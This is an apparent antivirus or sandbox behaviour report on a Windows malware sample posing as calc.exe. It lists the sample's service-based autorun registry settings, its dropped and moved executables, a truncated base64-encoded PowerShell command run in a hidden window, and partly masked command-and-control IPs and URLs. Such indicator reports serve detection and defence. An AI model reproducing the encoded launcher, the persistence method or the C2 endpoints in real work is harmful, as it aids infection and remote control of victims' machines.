Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\calc] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\calc] 'ImagePath' = '"%WINDIR%\SysWOW64\msoeacct\calc.exe"'
Creates the following services
- 'calc' "%WINDIR%\SysWOW64\msoeacct\calc.exe"
- 'calc' %WINDIR%\SysWOW64\msoeacct\calc.exe
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABVAEYAQgBJAEkAbABpAGkAPQAnAEcASABBAE8ARQBsAHoAbwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAGAAUgBpAGAAVABgAFkAUABSAG8AYABUAG8AQwBvAEwAIgAgAD...
Modifies file system
Creates the following files
- %HOMEPATH%\853.exe
Moves the following files
- from %HOMEPATH%\853.exe to %WINDIR%\syswow64\msoeacct\calc.exe
Network activity
Connects to
- '76.##.179.47':80
- '74.##8.45.104':8080
- '16#.#39.182.217':8080
- '17#.#11.60.55':8080
- '16#.#35.67.138':7080
- '75.##9.38.211':80
- '5.###.74.210':8080
- '10#.#17.53.230':443
- '11#.#03.32.252':8080
- '12#.#5.106.173':443
- '83.##0.223.58':443
- '91.##1.88.52':7080
- '16#.#54.38.103':80
- '61.##.246.238':443
- '18#.#12.199.126':443
- '21#.#1.142.238':8080
- '31.#1.77.83':443
- '22#.#14.218.37':4143
TCP
HTTP GET requests
- http://bu####roperties.com/lyhvmiq/s_ia_4uaq/
HTTP POST requests
- http://76.##.179.47/pZH7FJbqlXAMwrn/Bnem9I2qKGw1N/
- http://21#.##.142.238:8080/XmyIyZLcCC/GbR8RODk8XwbZSoFrz/sNiw2/3iqcKIUR1OmgwNz/Ub3zD/ via 21#.#1.142.238
- http://18#.##2.199.126:443/bOISVcs9iBm/zC9Xh6ck/ via 18#.#12.199.126
- http://83.###.223.58:443/kzTqF/EFar/ via 83.##0.223.58
- http://12#.##.106.173:443/bD0Na5rHR5PgBRjj/eqH8omMHSq2jrlvhert/riQKHupQ5/IxOLNMvsj4QYe/fN7sLft4VXOCt/ via 12#.#5.106.173
- http://75.##9.38.211/G1Gs/dOmZuSeZN/YsZ7lgKMlvGZB4n/N92nzbJe4k/H2zTKTGVTwovqIA/
UDP
- DNS ASK bu####roperties.com
Miscellaneous
Creates and executes the following
- '%HOMEPATH%\853.exe'
- '%WINDIR%\syswow64\msoeacct\calc.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABVAEYAQgBJAEkAbABpAGkAPQAnAEcASABBAE8ARQBsAHoAbwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAQwBVAGAAUgBpAGAAVABgAFkAUABSAG8AYABUAG8AQwBvAEwAIgAgAD...' (with hidden window)
